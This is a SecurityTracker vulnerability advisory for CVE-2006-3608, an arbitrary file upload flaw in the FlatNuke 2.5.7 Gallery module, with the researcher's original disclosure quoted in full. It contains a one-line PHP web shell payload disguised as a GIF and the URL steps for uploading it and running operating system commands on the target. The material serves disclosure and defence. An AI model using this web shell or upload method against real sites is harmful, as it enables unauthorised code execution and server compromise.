SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |    Help    |   

SecurityTracker
Archives


Your Ad Here
 
Click to Sign Up
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com

Sign Up!





Category:  Application (Forum/Board/Portal)  >  FlatNuke Vendors:  flatnuke.org
FlatNuke Gallery Module Lets Remote Users Upload and Execute Arbitrary Code
SecurityTracker Alert ID:  1016499
SecurityTracker URL:  http://securitytracker.com/id?1016499
CVE Reference:  CVE-2006-3608   (Links to External Site)
Updated:  Jul 18 2008
Original Entry Date:  Jul 14 2006
Impact:  Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 2.5.7 and prior versions
Description:  A vulnerability was reported in FlatNuke. A remote user can include and execute arbitrary code on the target system.

The Gallery upload function does not properly validate user-supplied files. If user gallery uploads are enabled [not the default configuration], a remote user can upload a file that is ostensibly an image file but instead contains arbitrary PHP code. Then, the remote user can invoke the uploaded file (which will be renamed by the system) to cause the PHP code to be executed. The PHP code, including operating system commands, will run with the privileges of the target web service.

Some demonstration exploit file contents are provided:

GIF86<?php system($GET[cmd]);?>

rgod reported this vulnerability.

The original advisory is available at:

http://retrogod.altervista.org/flatnuke257_adv.html

Impact:  A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:  No solution was available at the time of this entry.
Vendor URL:  www.flatnuke.org/ (Links to External Site)
Cause:  Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)
Reported By:  rgod@autistici.org
Message History:   None.


 Source Message Contents

Date:  Thu, 13 Jul 2006 17:00:40 +0000
From:  rgod@autistici.org
Subject:  flatnuke &lt;= 2.5.7 arbitrary php file upload

 
12/07/200619.11.54

----- Flatnuke 2.5.7 arbitrary file upload / remote code execution -------------

software:

site: http://www.flatnuke.org/

--------------------------------------------------------------------------------


if user Gallery uploads are enabled (not the default) you can go to:


http://[target]/[path_to_flatnuke]/index.php?mod=Gallery


to upload a shell.php file, ex:


GIF86<?php system($GET[cmd]);?>


file is renamed like this:


shell_by_[username].php


now you can launch commands, ex:


http://[target]/[path]/sections/Gallery/shell_by_rgod.php?cmd=ls%20-la


--------------------------------------------------------------------------------

rgod

site: http://rgod.altervista.org

mail: rgod @ autistici.org

--------------------------------------------------------------------------------


original url: http://retrogod.altervista.org/flatnuke257_adv.html

 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us   |    Help

Copyright 2007, SecurityGlobal.net LLC